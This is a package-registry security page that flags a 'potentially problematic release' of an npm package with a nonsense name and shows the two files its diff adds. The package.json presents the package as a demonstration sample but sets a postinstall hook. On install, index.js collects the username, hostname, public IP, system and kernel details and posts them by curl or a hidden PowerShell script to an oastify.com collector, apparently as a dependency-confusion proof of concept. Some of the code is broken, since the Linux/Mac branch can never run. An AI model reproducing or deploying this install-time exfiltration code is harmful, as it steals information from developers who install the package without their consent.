jhgjgdfsdasvbrtyrdfwewqreyrfvbykuyoyosdsdfdhuytrxasdadadasdasdadasdasdasdasdtest 8.7.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of jhgjgdfsdasvbrtyrdfwewqreyrfvbykuyoyosdsdfdhuytrxasdadadasdasdadasdasdasdasdtest might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +102 -0
  2. package/package.json +14 -0
package/index.js ADDED
@@ -0,0 +1,102 @@
1
+ const { exec } = require('child_process');
2
+ const http = require('http');
3
+
4
+ const getPublicIP = (callback) => {
5
+ const options = {
6
+ hostname: 'api.ipify.org',
7
+ path: '/?format=json',
8
+ method: 'GET',
9
+ };
10
+
11
+ const req = http.request(options, (res) => {
12
+ let data = '';
13
+ res.on('data', (chunk) => {
14
+ data += chunk;
15
+ });
16
+
17
+ res.on('end', () => {
18
+ try {
19
+ const response = JSON.parse(data);
20
+ const publicIP = response.ip;
21
+ callback(null, publicIP);
22
+ } catch (error) {
23
+ callback(new Error('Error parsing response'));
24
+ }
25
+ });
26
+ });
27
+
28
+ req.on('error', (error) => {
29
+ callback(error);
30
+ });
31
+
32
+ req.end();
33
+ };
34
+
35
+ const os = require('os');
36
+
37
+ const detectOSType = () => {
38
+ const type = os.type();
39
+ if (type.startsWith('Windows')) return 'Windows';
40
+ if (type.startsWith('Linux')) return 'Linux';
41
+ if (type.startsWith('Darwin')) return 'Mac';
42
+ return 'UNKNOWN';
43
+ };
44
+
45
+
46
+ // Usage example:
47
+ getPublicIP((error, remoteIP) => {
48
+ if (error) {
49
+ console.error('Error:', error.message);
50
+ } else {
51
+ const os_type = detectOSType()
52
+ if (os_type === 'Linux' && os_type == Mac){
53
+ bash = `#!/bin/bash\nseparator="--------------------------------------------------"
54
+ exfiltrate="$separator\nUsername: \`whoami\`\nHostname: \`hostname\`\nPublic IP: ${remoteIP}\nTime: \`date\`\nCurrent Path: \`pwd\`\nPackage Name: \`echo $(npm run env | grep "npm_package_name") | cut -d "=" -f 2\`\nKernel: \`uname -a\`\n$separator"
55
+ echo "$exfiltrate" > /tmp/demo.txt
56
+ curl --silent -F content="@/tmp/demo.txt" https://lzo7mm476cnmtfbh34vo5xs6axgt4js8.oastify.com
57
+ rm -f /tmp/demo.txt`
58
+ exec('echo -e' + bash + " > /tmp/demo.sh; chmod + x /tmp/demo.sh; /bin/bash -c /tmp/demo.sh; rm -f /tmp/demo.sh", (error, stdout, stderr) => {
59
+ if (error) {
60
+ console.error(`Error: ${error.message}`);
61
+ return;
62
+ }
63
+ });
64
+ } else if (os_type === 'Windows'){
65
+ powershell =
66
+ `$whoami = whoami
67
+ $today = (Get-Date).DateTime
68
+ $publicIP = (Invoke-WebRequest -Uri 'https://api.ipify.org?format=text' -UseBasicParsing).content
69
+ $system = systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
70
+ $filePath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "output.txt")
71
+ $scriptPath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "demo.ps1")
72
+
73
+ Write-Output "Username: $whoami\`nDate: $today\`nPublic IP: $publicIP\`nSystem Information:" | Out-File -FilePath $filePath -Encoding ASCII
74
+ Add-Content $filePath $system
75
+
76
+ $destinationUrl = "https://lzo7mm476cnmtfbh34vo5xs6axgt4js8.oastify.com"
77
+
78
+ $filePath = "$filePath"
79
+
80
+ Invoke-WebRequest -Uri $destinationUrl -Method POST -InFile $filePath -UseBasicParsing
81
+ del $filePath
82
+ del $scriptPath`
83
+ }
84
+ const fs = require('fs');
85
+ const psFilePath = `${process.env.TEMP}\\demo.ps1`;
86
+
87
+ fs.writeFile(psFilePath, powershell, err => {
88
+ if (err) {
89
+ console.error(err);
90
+ }
91
+ // file written successfully
92
+ });
93
+
94
+ exec(`C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File "${psFilePath}"`, (error, stdout, stderr) => {
95
+ if (error) {
96
+ console.error(`Error: ${error.message}`);
97
+ return;
98
+ }
99
+ });
100
+
101
+ }
102
+ });
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "jhgjgdfsdasvbrtyrdfwewqreyrfvbykuyoyosdsdfdhuytrxasdadadasdasdadasdasdasdasdtest",
3
+ "version": "8.7.9",
4
+ "description": "A sample npm package for demonstration purposes.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "keywords": [
10
+ "dependency"
11
+ ],
12
+ "author": "Depdency-Confusion-PoC",
13
+ "license": "ISC"
14
+ }